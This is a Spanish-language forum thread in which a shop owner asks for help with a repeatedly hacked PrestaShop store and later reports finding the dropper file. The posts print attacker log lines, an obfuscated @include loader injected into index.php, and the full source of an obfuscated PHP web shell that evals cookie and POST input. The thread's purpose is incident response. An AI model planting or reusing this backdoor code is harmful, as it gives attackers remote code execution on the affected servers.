Jump to content

[Resuelto] Prestashop hackeado


Recommended Posts

Hola foro,

os escribo porque ya me encuentro desesperado por un problema con Prestashop (o eso creo, porque no se si es un fallo de SO.)

Cada 2 o 3 días me atacan la tienda y lo tengo medio localizado, pero no sé como pararlo.

He buscado mucha información, incluso cosas parecidas dentro del foro, pero ninguna me ha ayudado. (También he visto que ocurre bantante en los wordpress. Se ve en la web https://malwaredecoder.com/ que mucha gente busca código similar)
 
Ante todo, decir que he probado reinstalar tienda completa (Actualmente tengo 1.6.24), he probado con 1.7, cambiado todas las contraseñas (admin, BBDD, usuarios linux, etc.), carpeta admin y todo lo que se me ha ocurrido incluyendo cambio de servidor y de IP pública.

En todas las ocasiones siempre han podido entrar.

Lo que he podido ver en los log de apache del dominio es esto (Bloque las ips en el FW pero las cambian):

En el resto de log no encuentro nada que me pueda indicar algo. No sé si se puede configurar para que tengan más nivel de profundidad.

He hablado con el hosting y me dicen que tiene que ser un fallo de la web, porque si fuera global afectaría a otras webs del servidor.

46.20.34.52 - - [14/Jul/2019:16:58:54 +0000] "POST /?bit=dhwb HTTP/1.1" 302 - "http://informaticavaldemoro.com/?bit=dhwb" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
46.20.34.52 - - [14/Jul/2019:16:58:54 +0000] "GET /?bit=dhwb?bit=dhwb HTTP/1.1" 301 - "http://informaticavaldemoro.com/?bit=dhwb" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
37.59.90.146 - - [14/Jul/2019:20:49:06 +0000] "POST /?cvu=tao HTTP/1.1" 302 - "http://informaticavaldemoro.com/?cvu=tao" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
37.59.90.146 - - [14/Jul/2019:20:49:06 +0000] "GET /?cvu=tao?cvu=tao HTTP/1.1" 301 - "http://informaticavaldemoro.com/?cvu=tao" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
45.76.33.238 - - [14/Jul/2019:20:49:09 +0000] "POST /?cvu=tao HTTP/1.1" 302 - "http://informaticavaldemoro.com/?cvu=tao" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
45.76.33.238 - - [14/Jul/2019:20:49:09 +0000] "GET /?cvu=tao?cvu=tao HTTP/1.1" 301 - "http://informaticavaldemoro.com/?cvu=tao" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
188.166.191.48 - - [14/Jul/2019:20:49:23 +0000] "POST /?zqfe=rgzzc HTTP/1.1" 200 102 "http://informaticavaldemoro.com/?zqfe=rgzzc" "Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1"

Entiendo que en el último con código 200 es en el que entran.

Cuando ejecuntan esto, se modifichan muchos ficheros index.php incluyendo este código:
<?PHP
/*812c4*/

@include "\057home\057info\162mati\143aval\144e/pu\142lic_\150tml/\155odul\145s/da\163hact\151vity\057.478\146f508\056ico"; 

/*812c4*/
/*
* 2007-2017 PrestaShop
*
Y continúa el script normal.

Este include apunta a un fichero aleatorio oculto *.ico que contiene código ilegible y no he podido saber cómo está codificado. (Este fichero lo busco y borro automáticamente desde un cron cada minuto para que haga el menor daño posible).

También crea ficheros aleatorios con un nombre tipo gntfmoup.php (normalmente 8 caracteres.php) que está lleno de variables o arrays.
<?php
$jmelnlc = '9\'sf634_Huvcx7#dioy0abmgp*k2r-81lent';$rjegch = Array();$rjegch[] = $jmelnlc[8].$jmelnlc[25];$rjegch[] = $jmelnlc[15].$jmelnlc[13].$jmelnlc[4].$jmelnlc[3].$jmelnlc[4].$jmelnlc[0].$jmelnlc[31].$jmelnlc[20].$jmelnlc[29].$jmelnlc[33].$jmelnlc[19].$jmelnlc[4].$jmelnlc[0].$jmelnlc[29].$jmelnlc[6].$jmelnlc[6].$jmelnlc[5].$jmelnlc[13].$jmelnlc[29].$jmelnlc[30].$jmelnlc[27].$jmelnlc[21].$jmelnlc[33].$jmelnlc[29].$jmelnlc[13].$jmelnlc[13].$jmelnlc[15].$jmelnlc[11].$jmelnlc[13].$jmelnlc[5].$jmelnlc[15].$jmelnlc[0].$jmelnlc[6].$jmelnlc[20].$jmelnlc[11].$jmelnlc[21];$rjegch[] = $jmelnlc[14];$rjegch[] = $jmelnlc[11].$jmelnlc[17].$jmelnlc[9].$jmelnlc[34].$jmelnlc[35];$rjegch[] = $jmelnlc[2].$jmelnlc[35].$jmelnlc[28].$jmelnlc[7].$jmelnlc[28].$jmelnlc[33].$jmelnlc[24].$jmelnlc[33].$jmelnlc[20].$jmelnlc[35];$rjegch[] = $jmelnlc[33].$jmelnlc[12].$jmelnlc[24].$jmelnlc[32].$jmelnlc[17].$jmelnlc[15].$jmelnlc[33];$rjegch[] = $jmelnlc[2].$jmelnlc[9].$jmelnlc[21].$jmelnlc[2].$jmelnlc[35].$jmelnlc[28];$rjegch[] = $jmelnlc[20].$jmelnlc[28].$jmelnlc[28].$jmelnlc[20].$jmelnlc[18].$jmelnlc[7].$jmelnlc[22].$jmelnlc[33].$jmelnlc[28].$jmelnlc[23].$jmelnlc[33];$rjegch[] = $jmelnlc[2].$jmelnlc[35].$jmelnlc[28].$jmelnlc[32].$jmelnlc[33].$jmelnlc[34];$rjegch[] = $jmelnlc[24].$jmelnlc[20].$jmelnlc[11].$jmelnlc[26];foreach ($rjegch[7]($_COOKIE, $_POST) as $jnjyaj => $mekvqdu){function zdeqkx($rjegch, $jnjyaj, $dbvfr){return $rjegch[6]($rjegch[4]($jnjyaj . $rjegch[1], ($dbvfr / $rjegch[8]($jnjyaj)) + 1), 0, $dbvfr);}function bchzo($rjegch, $akvyf){return @$rjegch[9]($rjegch[0], $akvyf);}function pyjpvsv($rjegch, $akvyf){$kkvvw = $rjegch[3]($akvyf) % 3;if (!$kkvvw) {eval($akvyf[1]($akvyf[2]));exit();}}$mekvqdu = bchzo($rjegch, $mekvqdu);pyjpvsv($rjegch, $rjegch[5]($rjegch[2], $mekvqdu ^ zdeqkx($rjegch, $jnjyaj, $rjegch[8]($mekvqdu))));}

Estos ficheros también los localizo desde cron y los borraba de forma manual cada ataque. (Ahora, me es mas rápido cargarme la carpeta raiz y recargarla con código limpio).

El prestashop está tal cual se instala con el tema por defecto sin modificaciones para intentar evitarlo.

Los módulos son todos los que vienen por defecto excepto la api de google analytics de prestashop, european union cookies law de mypresta.eu y paypal de prestashop.

¿Tenéis alguna idea de por donde pueden ir los tiros?

Si creéis que debe ir en algún otro subforo, por avisar a algún admin para que pueda moverlo.

Muchas gracias y un saludo.

Edited by Soluciones y Gestión (see edit history)
Link to comment
Share on other sites

Si tienes Wordpress en alguna carpeta, es el culpable.

Si en tu servicodr compartido hay algun Worpress infectado es posible que sea el culpable.

Envia un ticket a soporte de hospedaje y pide que te cambien de servidor, que parece que algun usuario esta infectado y te esta afectando

Justo ese codigo lo he visto en un wordpress hoy mismo

 

Link to comment
Share on other sites

Hola gusman126,

Muchas gracias por tu respuesta.

Efectivamente, al principio sospeché de algún wordpress que tenía (De hecho, según he seguido el ataque, parece ser que a los wordpress se lo hacen mucho y deben tener algo en común ambas aplicaciones que aprovecha el atacante). Desde entonces, creé cuentas de usuario separadas para cada dominio y el wordpress está limpio (En principio, no hay acceso entre los diferentes usuarios, por lo que es difícil que un usuario infectado afecte a otro, a no ser que la infección llegue al nivel del sistema operativo o que consiga las cuentas de usuario y las contraseñas). En cualquier caso, según el log, el ataque parece un post http directamente sobre el raiz del prestashop. También dentro de las pruebas que hice de cambio de servidor e ip pública, dejé solo el prestashop en el nuevo servidor y seguían entrando. 

Tengo un VPS contratado y el servidor de pruebas lo monto en local desde cero con una máquina física.

En el VPS tengo Cpanel y en el mío tengo Virtualmin y ambos con Config server firewall. El sistema operativo es Centos.

Seguiré investigando, cualquier ayuda es buena y por supuesto, si diera con la solución la publicaría aquí.

Muchas gracias.

Link to comment
Share on other sites

Hola,

Actualizo por si puede dar alguna pista.

Quité el permiso de escritura al archivo index.php principal de la página, dejándolo en 444 r--r--r--. Comprobé que con el usuario no se podía sobrescribir. Bueno, han vuelto a escribirlo y modificar los ficheros modificando también los permisos a rwxr-xr-x.

No sé si sospechar de apache aunque está en la versión 2.4.39 (está actualizado).

Dejo el tema un poco abierto, por si a alguien se le ocurre algo o si encuentro algo, pero parece que el problema puede ser que no sea culpa de prestashop (no lo puedo descartar todavía), por lo que, en su caso,  no procedería en este foro.

Link to comment
Share on other sites

hace 2 minutos, Soluciones y Gestión dijo:

Hola,

Actualizo por si puede dar alguna pista.

Quité el permiso de escritura al archivo index.php principal de la página, dejándolo en 444 r--r--r--. Comprobé que con el usuario no se podía sobrescribir. Bueno, han vuelto a escribirlo y modificar los ficheros modificando también los permisos a rwxr-xr-x.

No sé si sospechar de apache aunque está en la versión 2.4.39 (está actualizado).

Dejo el tema un poco abierto, por si a alguien se le ocurre algo o si encuentro algo, pero parece que el problema puede ser que no sea culpa de prestashop (no lo puedo descartar todavía), por lo que, en su caso,  no procedería en este foro.

En los foros no se ha visto mas casos , por lo que Prestashop seria extraño que fuera,

Algun modulo que tienes instalado?

O incluso en tu ordenador , si has cambiado de servidor haciendo pruebas, has cambiado contraseñas de acceso y has comprobado que no haya ningún fichero infectado,ya debe ser algo mas raro

 prueba a bajar toda la web al ordenador, si tienes un antivirus puede que te avise, mi NOD32 me avisa cuando bajo algun fichero php infectado.

 

Link to comment
Share on other sites

Hola gusman126. Se que vi algo también en algún Prestashop en los foros en inglés pero ahora no lo encuentro. Todo apuntaba a módulos sospechosos que nunca he tenido (He dejado solo los que vienen por defecto y los que puse en el primer post que creo que son seguros).

El antivirus ya lo pasé y no me detentó nada (ni el clamav en el servidor, ni un par de ellos que pasé en windows).

El tema es rarísimo, porque no encuentro ningún acceso al servidor, solo peticiones GET y POST a la web, pero no deberían haber tenido permiso para modificar el index.php a no ser que sea un problema de apache.

Como parece que sí afecta bastante a los Wordpress, investigaré por ese camino a ver si encuentro algo en común.

Dejaré el tema un poco abierto para poder ir actualizando o si a alguien se le enciende la bombilla, y si no avanzamos, cerraremos el tema ya que apunta a que no es problema de Prestashop.

Muchas gracias.

Link to comment
Share on other sites

  • 2 weeks later...

Hola,

Por fin encontré el archivo que estaba generando todo.

Es un archivo que se llama bnzpsmyf.php (aunque el nombre está generado con la siguiente función) 

substr(md5(time()), 0, 8) . ".php";

No se mucho de php pero más o menos por lo que he visto, hace lo siguiente.

Recoge los datos por post.

También hace datos ilegibles en otros ficheros que crea aleatoriamente por las carpetas de la web con la misma función de arriba, que mueve los caracteres 13 posiciones y codifica las url. Después las recupera con esta función:

str_split(rawurldecode(str_rot13($rewvey)));

Lo que no he podido ver/entender todavía, es como modifica los ficheros index.php y como crea el fichero oculto ????????.ico que es el verdadero virus (eso creo).

Desde que lo quité y borré los archivos creados por este fichero, no ha vuelto a suceder el ataque (toco madera). 

No sé como ha podido llegar esto hasta el servidor. Si volviera a ocurrir, ya tengo un punto de partida para investigarlo y después publicarlo.

Gracias a todos y en especial a gusman126 por intentar ayudarme.

Saludos.

Edited by Soluciones y Gestión (see edit history)
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...